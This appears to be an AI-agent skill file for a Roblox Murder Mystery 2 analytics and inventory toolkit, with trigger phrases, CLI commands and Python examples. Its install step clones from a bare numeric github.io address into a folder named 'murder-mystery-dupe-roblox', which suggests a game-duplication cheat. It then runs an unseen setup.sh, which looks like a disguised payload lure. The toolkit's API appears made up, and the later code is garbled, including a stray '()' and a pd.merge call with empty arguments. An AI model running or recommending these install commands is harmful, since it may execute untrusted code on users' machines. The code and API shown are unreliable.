| name | mm2-analytics-roblox-toolkit |
| description | Roblox Murder Mystery 2 analytics dashboard and inventory tracking toolkit with data visualization and strategy analysis |
| triggers | ["how do I use the MM2 analytics dashboard","set up Murder Mystery 2 inventory tracker","analyze my Roblox MM2 knife collection","configure MM2 stats tracking","export Murder Mystery 2 gameplay data","track my MM2 gamepass statistics","optimize my Murder Mystery 2 strategy with data","visualize my Roblox MM2 performance metrics"] |
MM2 Analytics Roblox Toolkit
Skill by ara.so — Data Skills collection.
This skill enables AI agents to help developers use the Murder Mystery 2 Analytics Dashboard, a comprehensive toolkit for tracking inventory, analyzing gameplay statistics, and optimizing strategy in Roblox's Murder Mystery 2 game through data visualization and AI-powered insights.
What This Project Does
The MM2 Analytics Dashboard is a data analysis and visualization toolkit that provides:
- Inventory Management: Track knife skins, gamepasses, and collection completeness
- Performance Analytics: Monitor win/loss ratios, role-specific statistics, and gameplay patterns
- Strategy Optimization: AI-powered pattern recognition and predictive modeling
- Data Visualization: Interactive charts and dashboards for stats tracking
- Export Tools: Generate reports in CSV, JSON formats for external analysis
Installation
Quick Install (Automated)
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
chmod +x setup.sh
./setup.sh --install
Manual Installation
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
npm install
python3 -m pip install -r requirements.txt
Dependencies
The project requires:
- Python 3.8+ with packages:
pandas, numpy, matplotlib, pyyaml, requests
- Node.js 18+ with packages for web dashboard
- Optional: OpenAI/Claude API keys for AI features
Configuration
Environment Setup
Create a .env file in the project root:
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
DATA_DIRECTORY=./data/collections
EXPORT_DIRECTORY=./exports
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
LOG_LEVEL=INFO
ROBLOX_USER_ID=your_user_id
Profile Configuration
Create a profile in config/profiles.yaml:
profiles:
- name: "default_profile"
username: "MysterySolver2026"
settings:
preferred_role: "sheriff"
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: ["csv", "json"]
inventory_filter:
knife_skins:
rarity: ["legendary", "ancient", "godly"]
track_duplicates: true
gamepasses:
active_only: true
analytics_preferences:
win_loss_tracking: true
role_performance: true
time_analysis: true
prediction_models: false
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
confidence: 0.85
- name: "passive_innocent"
priority: "distraction_avoidance"
confidence: 0.72
Key Commands (CLI)
Analytics Mode
Run comprehensive analytics on your gameplay data:
python3 main.py --mode analytics --profile default_profile
python3 main.py --mode analytics \
--profile default_profile \
--export statistics_2026.json \
--format json \
--verbose
python3 main.py --mode analytics \
--profile default_profile \
--live \
--interval 60
python3 main.py --mode analytics \
--profile default_profile \
--log-level DEBUG \
--verbose
Inventory Management
Track and analyze your item collection:
python3 main.py --mode inventory \
--scan \
--profile default_profile
python3 main.py --mode inventory \
--filter rarity:legendary,ancient \
--export inventory_rare.csv
python3 main.py --mode inventory \
--check-completeness \
--category knife_skins
python3 main.py --mode inventory \
--find-duplicates \
--export duplicates_report.json
Strategy Analysis
Analyze gameplay patterns and optimize strategy:
python3 main.py --mode strategy \
--analyze-patterns \
--role sheriff \
--export patterns.json
python3 main.py --mode strategy \
--recommend \
--based-on last_30_days
python3 main.py --mode strategy \
--compare aggressive_sheriff,passive_innocent \
--metrics win_rate,survival_time
Data Export
Export data for external analysis:
python3 main.py --export-all \
--format csv \
--output ./exports/full_export_2026.csv
python3 main.py --export \
--metrics win_loss,inventory,strategy \
--format json \
--output ./exports/metrics.json
python3 main.py --export \
--format visualization \
--charts win_rate,role_distribution,inventory_rarity \
--output ./exports/viz_data.json
Python API Usage
Inventory Tracker
from mm2_toolkit import InventoryManager, InventoryFilter
manager = InventoryManager(
profile_name="default_profile",
data_directory="./data/collections"
)
manager.load_inventory()
filter_config = InventoryFilter(
category="knife_skins",
rarity=["legendary", "ancient"],
include_duplicates=False
)
filtered_items = manager.filter_items(filter_config)
stats = manager.get_statistics()
print(f"Total items: {stats['total_count']}")
print(f"Unique knives: {stats['unique_knife_count']}")
print(f"Collection completeness: {stats['completeness_percentage']}%")
manager.export(
format="json",
output_path="./exports/inventory_export.json",
include_metadata=True
)
Analytics Engine
from mm2_toolkit import AnalyticsEngine, AnalyticsConfig
config = AnalyticsConfig(
tracking_mode="comprehensive",
refresh_rate=30,
enable_predictions=True,
api_key_openai="${OPENAI_API_KEY}"
)
engine = AnalyticsEngine(config)
engine.load_data(
source="local",
profile="default_profile",
date_range="last_30_days"
)
metrics = engine.calculate_metrics()
print(f"Win rate: {metrics['win_rate']:.2%}")
print(f"Average survival time: {metrics['avg_survival_seconds']}s")
print(f"Sheriff accuracy: {metrics['sheriff_accuracy']:.2%}")
role_breakdown = engine.breakdown_by_role()
for role, stats in role_breakdown.items():
print(f"{role}: {stats['wins']}W / {stats['losses']}L")
if config.enable_predictions:
insights = engine.generate_insights()
for insight in insights:
print(f"- {insight['recommendation']}")
Strategy Analyzer
from mm2_toolkit import StrategyAnalyzer, StrategyPattern
analyzer = StrategyAnalyzer(profile="default_profile")
aggressive_pattern = StrategyPattern(
name="aggressive_sheriff",
role="sheriff",
priorities=[
"high_visibility_areas",
"rapid_elimination",
"coin_collection_secondary"
],
risk_tolerance=0.8
)
results = analyzer.analyze_pattern(
pattern=aggressive_pattern,
sample_size=100
)
print(f"Pattern win rate: {results['win_rate']:.2%}")
print(f"Average time to victory: {results['avg_time_to_win']}s")
print(f"Confidence score: {results['confidence']:.2f}")
passive_pattern = StrategyPattern(
name="passive_innocent",
role="innocent",
priorities=[
"stealth_movement",
"coin_avoidance",
"survival_focus"
],
risk_tolerance=0.3
)
comparison = analyzer.compare_strategies([
aggressive_pattern,
passive_pattern
])
for result in comparison:
print(f"{result['name']}: {result['effectiveness_score']:.2f}")
Data Visualization
from mm2_toolkit import DataVisualizer, ChartConfig
visualizer = DataVisualizer(
theme="dark",
resolution=(1920, 1080)
)
visualizer.load_data(source="analytics_engine")
win_chart = visualizer.create_chart(
chart_type="line",
data_field="win_rate",
config=ChartConfig(
title="Win Rate Over Time",
x_axis="date",
y_axis="percentage",
color_scheme="gradient_blue"
)
)
win_chart.save("./exports/win_rate_chart.png")
inventory_chart = visualizer.create_chart(
chart_type="pie",
data_field="inventory_rarity",
config=ChartConfig(
title="Knife Rarity Distribution",
labels=["Common", "Uncommon", "Rare", "Legendary", "Ancient"],
color_scheme="rarity_colors"
)
)
inventory_chart.save("./exports/inventory_distribution.png")
dashboard = visualizer.create_dashboard(
charts=[
"win_rate_timeline",
"role_performance",
"inventory_value",
"strategy_effectiveness"
],
layout="2x2_grid"
)
dashboard.export("./exports/dashboard.html")
Common Patterns
Full Analytics Workflow
from mm2_toolkit import (
ProfileManager,
InventoryManager,
AnalyticsEngine,
StrategyAnalyzer,
DataVisualizer
)
profile = ProfileManager.load("default_profile")
inventory = InventoryManager(profile)
inventory.scan()
inventory_stats = inventory.get_statistics()
analytics = AnalyticsEngine(profile.analytics_config)
analytics.load_data(date_range="last_7_days")
performance = analytics.calculate_metrics()
strategy = StrategyAnalyzer(profile)
strategy_results = strategy.analyze_all_patterns()
visualizer = DataVisualizer()
visualizer.load_data_from_sources([
inventory,
analytics,
strategy
])
report = {
"profile": profile.username,
"generated_at": datetime.now().isoformat(),
"inventory": inventory_stats,
"performance": performance,
"strategies": strategy_results
}
with open("./exports/full_report.json", "w") as f:
json.dump(report, f, indent=2)
visualizer.create_dashboard(
charts=["all"],
layout="auto"
).export("./exports/dashboard.html")
print("Complete analytics workflow finished!")
Real-time Monitoring
from mm2_toolkit import LiveTracker
import time
tracker = LiveTracker(
profile="default_profile",
refresh_interval=30
)
tracker.start()
try:
while True:
current_stats = tracker.get_current_session()
print(f"Session time: {current_stats['duration_minutes']}m")
print(f"Games played: {current_stats['games_played']}")
print(f"Current win rate: {current_stats['session_win_rate']:.2%}")
events = tracker.get_recent_events()
for event in events:
if event['type'] == 'rare_item_obtained':
print(f"🎉 Rare item obtained: {event['item_name']}")
elif event['type'] == 'win_streak':
print(f"🔥 Win streak: {event['streak_length']} games!")
time.sleep(tracker.refresh_interval)
except KeyboardInterrupt:
tracker.stop()
session_summary = tracker.export_session()
print(f"\nSession saved: ")
Custom Data Export
from mm2_toolkit import DataExporter, ExportFormat
import pandas as pd
exporter = DataExporter(profile="default_profile")
schema = {
"inventory": {
"fields": ["item_name", "rarity", "category", "obtained_date"],
"filter": {"rarity": ["legendary", "ancient"]}
},
"gameplay": {
"fields": ["date", "role", "outcome", "duration_seconds"],
"date_range": "last_30_days"
},
"strategy": {
"fields": ["pattern_name", "win_rate", "games_played"],
"min_games": 10
}
}
data = exporter.export_custom(schema, format=ExportFormat.DATAFRAME)
inventory_df = data['inventory']
gameplay_df = data['gameplay']
rare_items_count = len(inventory_df)
sheriff_win_rate = (
gameplay_df[gameplay_df['role'] == 'sheriff']['outcome'] == 'win'
).mean()
print(f"Rare items owned: {rare_items_count}")
()
combined_df = pd.merge(
gameplay_df,
inventory_df,
how=,
left_index=,
right_index=
)
combined_df.to_csv(, index=)
Troubleshooting
Common Issues
Issue: "Profile not found" error
python3 main.py --list-profiles
python3 main.py --create-profile my_profile
Issue: "No data to analyze" error
from mm2_toolkit import DataValidator
validator = DataValidator()
status = validator.check_data_availability(profile="default_profile")
if not status['has_data']:
print("Data directory is empty. Run inventory scan first:")
print("python3 main.py --mode inventory --scan")
Issue: API key errors with AI features
import os
openai_key = os.getenv('OPENAI_API_KEY')
if not openai_key:
print("Warning: OPENAI_API_KEY not set. AI features disabled.")
config.enable_predictions = False
Issue: Export format not supported
from mm2_toolkit import DataExporter, ExportFormat
supported = ExportFormat.list_supported()
print(f"Supported formats: {supported}")
exporter.export(
format=ExportFormat.JSON,
output_path="./exports/data.json"
)
Issue: Slow analytics performance
config = AnalyticsConfig(
enable_cache=True,
cache_ttl=3600,
parallel_processing=True
)
analytics.load_data(
mode="incremental",
since="last_session"
)
Best Practices
- Always use environment variables for API keys and sensitive data
- Run inventory scans regularly to keep data up-to-date
- Use profile-specific configurations for different play styles
- Enable caching for large datasets to improve performance
- Export data frequently to prevent data loss
- Validate data integrity before running analytics
Additional Resources
- Configuration examples:
config/examples/
- Sample data:
data/samples/
- API documentation:
docs/api.md
- Strategy guides:
docs/strategies.md